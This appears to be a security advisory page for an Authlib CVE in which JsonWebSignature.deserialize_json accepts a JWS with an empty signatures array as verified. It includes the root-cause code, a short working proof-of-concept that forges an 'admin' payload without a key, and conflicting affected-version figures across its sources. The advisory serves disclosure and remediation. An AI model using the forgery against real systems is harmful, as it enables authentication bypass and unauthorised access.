CVE-2026-96760: Authlib library contains a signature‑verification bypass vulnerability

Published Sep 28, 2026
·
Updated

Authlib (prior to 1.9.0) contains a signature verification bypass vulnerability. The JsonWebSignature.deserializejson() method accepts a JSON Serialization JWS object and returns the payload as successfully verified without checking for a signature and without requiring a cryptographic key.

Root cause

authlib/jose/rfc7515/jws.py, read on the installed 1.8.0 artifact:

python isvalid = True # set before anything is checked for headerobj in obj["signatures"]: # empty array means the body never runs jwsheader, valid = self.validatejsonjws(...) if not valid: isvalid = False ... if isvalid: return rv # returns the payload as verified

isvalid is initialised to True and only ever set to False from inside the loop. A JWS JSON Serialization object whose signatures array is empty iterates zero times, so the flag survives and the payload is returned as successfully verified. No key is consulted, because no signature is examined.

Reproduction

python import base64 from authlib.jose import JsonWebSignature

def b64(b): return base64.urlsafeb64encode(b).rstrip(b"=").decode()

jws = JsonWebSignature() payload = b'{"sub":"attacker","role":"admin"}' forged = {"payload": b64(payload), "signatures": []}

print(jws.deserializejson(forged, key=None))

Observed on authlib 1.8.0, Python 3.14, clean virtualenv:

[A] ATTACK general JSON, signatures:[] , key=None ACCEPTED -> {'header': [], 'payload': b'{"sub":"attacker","role":"admin"}'} [B] ATTACK general JSON, signatures:[] , key=<real key> ACCEPTED -> {'header': [], 'payload': b'{"sub":"attacker","role":"admin"}'} [C] CONTROL+ genuine general JSON with 2 signatures, right key ACCEPTED (expected) payload= b'{"sub":"attacker","role":"admin"}' [D] CONTROL- same object, first signature corrupted rejected (expected): BadSignatureError badsignature: [E] CONTROL- signatures array removed entirely (not empty, absent) rejected: DecodeError Missing "protected" value:

[C] proves the verifier works normally on a genuine object, so a deployment looks healthy. [D] proves tampering is caught. [E] proves this is specifically the empty-array case and not a general missing-member bug. [A] and [B] are the bypass, and [B] shows that holding the correct key does not save a caller: the empty array is accepted either way.

For comparison, joserfc 1.7.5, the library this module's deprecation warning points users to, rejects the identical object with BadSignatureError. The correct behaviour already exists in your newer library.

Impact

Any relying party that calls JsonWebSignature.deserializejson() on input it did not produce will accept an attacker-authored payload as signed. Where that payload carries identity or authorisation claims, this is a complete authentication bypass by an unauthenticated remote caller with no key material.

What would fix it

In deserializejson, reject an empty signatures array before the loop, or initialise the flag from the signature count, for example isvalid = len(obj["signatures"]) > 0. Pull request #938 proposes the same thing.

Other sources

Authlib (v1.7.2 and below) contains a signature verification bypass vulnerability. The JsonWebSignature.deserializejson() method accepts a JSON Serialization JWS object and returns the payload as successfully verified without checking for a signature and without requiring a cryptographic key.

— NVD

Authlib (v1.8.0 and below) contains a signature verification bypass vulnerability. The JsonWebSignature.deserializejson() method accepts a JSON Serialization JWS object and returns the payload as successfully verified without checking for a signature and without requiring a cryptographic key.

— MITRE

Affected Software

15 affected componentsFixes available
pypi/authlib<=1.7.2
pip/authlib<=1.8.0
1.9.0
debian/python-authlib<=1.2.0-1+deb12u1, <=1.2.0-1+deb12u2, <=1.6.0-1+deb13u1
1.9.1-1
debian/python-authlib*
debian/python-authlib*
debian/python-authlib<1.9.1-1
1.9.1-1
ubuntu/python-authlib*
ubuntu/python-authlib*
ubuntu/python-authlib*
ubuntu/python-authlib*
IBM Engineering AI Hub<=1.0.0
IBM 1.1.0<=undefined
IBM 1.2.0<=undefined
IBM 1.3.0<=undefined
IBM 1.4.0<=undefined

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/authlib to a version that resolves this vulnerability.

    Fixed in 1.9.0
  2. Upgrade

    Upgrade debian/python-authlib to a version that resolves this vulnerability.

    Fixed in 1.9.1-1
  3. Upgrade

    Upgrade Authlib to a version that resolves this vulnerability.

    Fixed in 1.9.0

Event History

Sep 28, 2026
CVE Published
via MITRE·07:37 PM
Data Sourced
via MITRE·07:37 PM
DescriptionWeakness
Data Sourced
via OSV·07:37 PM
DescriptionSeverity
Data Sourced
via Red Hat·07:57 PM
DescriptionSeverityAffected Software
Data Sourced
via NVD·08:17 PM
DescriptionSeverityWeakness
Sep 30, 2026
Exploit Published
via GitHub·03:01 AM
Oct 27, 2026
Advisory Published
via GitHub·02:50 PM
Data Sourced
via GitHub·02:50 PM
DescriptionSeverityWeaknessAffected Software
Nov 18, 2026
Data Sourced
via IBM·12:00 AM
DescriptionAffected Software
Data Sourced
via OSV·02:19 PM
Affected Software

Parent advisories

This vulnerability appears in the following advisories.

Frequently Asked Questions

1

Which Authlib versions are affected?

Authlib version 1.7.2 and earlier are affected.

2

What conditions are required for exploitation?

An application must process attacker-controlled JSON Serialization JWS input through JsonWebSignature.deserialize_json(). The method can return the payload as verified even when no signature is checked and no cryptographic key is required.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203